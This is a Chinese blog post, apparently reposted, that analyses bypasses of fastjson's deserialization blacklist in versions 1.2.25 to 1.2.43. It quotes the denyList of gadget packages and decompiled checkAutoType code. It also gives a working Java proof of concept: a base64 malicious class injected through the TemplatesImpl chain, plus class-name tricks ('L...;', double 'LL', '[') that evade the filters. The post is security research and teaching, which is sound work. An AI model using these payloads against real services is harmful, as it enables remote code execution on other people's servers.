15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)相关的知识,希望对你有一定的参考价值。

目录

1.2.25 - 1.2.41版本绕过

1.2.42版本绕过 

1.2.43版本绕过

1.2.45版本绕过


1.2.25 - 1.2.41版本绕过

1.2.24 版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。

com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名单的类包名,1.2.25-1.2.41版本中会对以下包名进行过滤

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

在pom.xml文件中导入1.2.41版本的依赖

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.41</version>
        </dependency>

这里直接把TemplatesImpl利用链的payload代码拿过来,运行之后会抛出异常,从异常信息来看fastjson在反序列化时checkAutoType函数对json数据的TemplatesImpl类的包名com.sun进行denyList黑名单校验。

相信大家对fastjson解析json的流程都比较熟悉了,我们来分析一下checkAutoType函数做了那些事情:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 
		//类名是否为空
        if (typeName == null) 
            return null;
			//类全路径是否超过128字符
         else if (typeName.length() >= 128) 
            throw new JSONException("autoType is not support. " + typeName);
         else 
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            int mask;
            String accept;
			//如果支持AutoType功能会进入这个if判断
            if (this.autoTypeSupport || expectClass != null) 
                for(mask = 0; mask < this.acceptList.length; ++mask) 
                    accept = this.acceptList[mask];
                    if (className.startsWith(accept)) 
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) 
                            return clazz;
                        
                    
                

                for(mask = 0; mask < this.denyList.length; ++mask) 
                    accept = this.denyList[mask];
                    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) 
                        throw new JSONException("autoType is not support. " + typeName);
                    
                
            
			
            if (clazz == null) 
                clazz = TypeUtils.getClassFromMapping(typeName);
            

            if (clazz == null) 
                clazz = this.deserializers.findClass(typeName);
            

            if (clazz != null) 
                if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) 
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                 else 
                    return clazz;
                
             else 
				//是否不支持AutoType功能
                if (!this.autoTypeSupport) 
					//先匹配黑名单
                    for(mask = 0; mask < this.denyList.length; ++mask) 
                        accept = this.denyList[mask];
                        //进行黑名单过滤,抛出异常
                        if (className.startsWith(accept)) 
                            throw new JSONException("autoType is not support. " + typeName);
                        
                    

					//再从白名单找
                    for(mask = 0; mask < this.acceptList.length; ++mask) 
                        accept = this.acceptList[mask];
                        if (className.startsWith(accept)) 
                            if (clazz == null) 
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            

                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) 
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            

                            return clazz;
                        
                    
                

         //省略部分代码......
        
    

checkAutoType函数首先会对json数据中type指定的类名的长度进行一些校验,然后接着判断是否开启AutoType功能,如果没有开启AutoType功能则会进行黑白名单的过滤,会先匹配黑名单denyList,如果className中的类包名在黑名单有过滤则会抛出异常。

很明显com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中的包名com.sun会在黑名单denyList中匹配到,于是抛出异常JSONException

1.2.25版本之后fastjson修复了这个漏洞,并且在默认情况下不开启AutoType功能。也就是说,在绕过的时候必须手动开启AutoType功能,还需要将payload中json数据的type指定的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类进行了改造,在TemplatesImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;分号

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException 
        //恶意类TempletaPoc转换成字节码,base64编码
        String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
        //构造TemplatesImpl的json数据,并将恶意类注入到json数据中
        final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";
        String payload = "\\"@type\\":\\"" + NASTY_CLASS +
                "\\",\\"_bytecodes\\":[\\""+byteCode+"\\"]," +
                "'_name':'TempletaPoc'," +
                "'_tfactory':," +
                "\\"_outputProperties\\":\\n";
        System.out.println(payload);
		//开启AutoType功能
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
    

这里是使用的1.2.41版本进行测试,不过在1.2.24-1.2.41版本都能测试成功

 在开启AutoType功能的情况下,checkAutoType函数还是会进行黑白名单过滤,由于我们在构造payload的时候在类名前面加了一个字母“L”,因此这里会绕过黑名单的过滤,接着调用TypeUtils.loadClass方法将TemplatesImpl类提取出来,生成类的class对象并返回。

TypeUtils.loadClass方法会判断类的名是否以字母“L”开头,并且以“;”分号结尾,然后调用loadClass方法加载TemplatesImpl类,返回class对象,这样就成功绕过。

1.2.42版本绕过 

引入fastjson1.2.42版本的依赖:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.42</version>
        </dependency>

1.2.42版本对1.2.41版本中的绕过进行了修复,1.2.41版本中poc在1.2.42版本无法利用,可以看到checkAutoType函数在校验时抛出了json解析异常

并且1.2.42版本将黑名单denyList替换成了denyHashCodes,fastjson使用哈希黑名单来代替之前的明文黑名单来防止被绕过,增加了绕过的困难程度。

于是安全研究人员与开发人员开始斗智斗勇,不过有大佬将大部分的哈希黑名单跑出来了,大家可以参考这个链接:https://github.com/LeadroyaL/fastjson-blacklist

1.2.42版本中checkAutoType函数会从className中将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类提取出来了,把前后的字符“L”和“;”都去掉

然后再进行哈希黑名单过滤,因此这里会抛出JSONException异常

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 
        if (typeName == null) 
            return null;
         else if (typeName.length() < 128 && typeName.length() >= 3) 
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) 
                className = className.substring(1, className.length() - 1);
            
			
			//计算className的哈希值
            long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
            long hash;
            int i;
            if (this.autoTypeSupport || expectClass != null) 
                hash = h3;
				
                for(i = 3; i < className.length(); ++i) 
                    hash ^= (long)className.charAt(i);
                    hash *= 1099511628211L;
					//进行白名单过滤
                    if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) 
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) 
                            return clazz;
                        
                    
					//进行哈希黑名单过滤,如果匹配到则抛出异常
                    if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) 
                        throw new JSONException("autoType is not support. " + typeName);
                    
                
            

		//省略部分代码......
		
         else 
            throw new JSONException("autoType is not support. " + typeName);
        
    

但是checkAutoType方法只对className中的TemplatesImpl类进行了一次提取,因此我们可以使用双写法进行绕过

LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;

 为什么使用这种方法就可以绕过哈希黑名单的过滤,原因在于checkAutoType方法只对className中的进行一次提取,最终变成了这样:Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; ,从而绕过哈希黑名单的过滤

TypeUtils类的loadClass方法内部每次调用会进行判断className是否有“L”和“;”字符串,如果有会调用substring方法去掉字符,并再次调用loadClass方法,经过多次调用最终会将LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;中的前后字符“L”和“;”全部都去掉。

1.2.42版本成功绕过

1.2.43版本绕过

引入1.2.43版本的依赖:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.43</version>
        </dependency>

1.2.43版本对1.2.42版本的绕过进行了修复,根据checkAutoType函数抛出的异常信息,我们来分析一下1.2.43版本对checkAutoType函数进行了哪些修复措施。

checkAutoType函数首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常,也就是说1.2.42版本的payload会被过滤掉。

由于1.2.42版本的payload已无法利用,因此我们需要另寻突破口,而TypeUtils类的loadClass方法就是我们要寻找的突破口。不知道大家是否还有印象没,在1.2.42版本中loadClass方法会对className进行校验

loadClass方法首先会对className进行判断是否以“[”字符开头,如果满足条件就调用继续调用loadClass方法,传入两个参数,一个是className指定的类全路径(className会调用substring方法把开头的“[”字符去掉),另一个是类加载器classLoader。

那么可以对payload进行改造,在TemplatesImpl类前面加一个“[”字符,这样就可以绕过checkAutoType函数的过滤,如下所示:

[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

再次运行程序还是会报错,根据抛出的异常来看,是在调用DefaultJSONParser类的parseArray方法时抛出的异常

 但是DefaultJSONParser类的parseArray方法是在checkAutoType函数之后调用的,可以肯定的是checkAutoType函数被绕过了,那么到底是哪里出错了?

我们来分析一下DefaultJSONParser类的parseArray方法,发现是parseArray方法的if语句会判断token的值,如果token的值不是14就抛出的异常,这里可以看到解析出来的token值为16,那么token的值从何而来?

通过对token进行回溯分析,发现调用完checkAutoType函数之后,接着会调用nextToken方法设置token

nextToken方法在case 16会判断ch的值,然后根据ch的值设置token,在调试分析中ch的值是json数据中第一个逗号出现的位置(固定从这个位置取值),我们需要把token的值设置为14来绕过DefaultJSONParser类的parseArray方法。

既然ch取值的位置是固定的,并且还不能为以上的字符,根据之前的异常信息来看,71索引的位置正好是json中第一个逗号出现的位置,那么我们可以在逗号前的位置加一个“[”符号,如下所示

再次运行程序,这次会调用无参的nextToken方法把token的值设置为14,绕过DefaultJSONParser类的parseArray方法

 虽然绕过了DefaultJSONParser类的parseArray方法,但是依然会抛出异常报错,从抛出的异常信息来看,提示在72索引位置缺少一个“”字符,不同于之前的异常,这次是JavaBeanDeserializer类的deserialze方法抛出的异常

再次尝试再72索引位置加一个“”字符,发现可以利用成功。

JavaBeanDeserializer类的deserialze方法过于复杂,具体是怎么绕过的,这里就不再往下分析(其实是我太菜了) 

1.2.45版本绕过

正在更新ing

以上是关于15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)的主要内容,如果未能解决你的问题,请参考以下文章

15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)

15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)

网络安全Fastjson的反序列化漏洞复现

网络安全Fastjson的反序列化漏洞复现

Fastjson反序列化漏洞风险通告

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析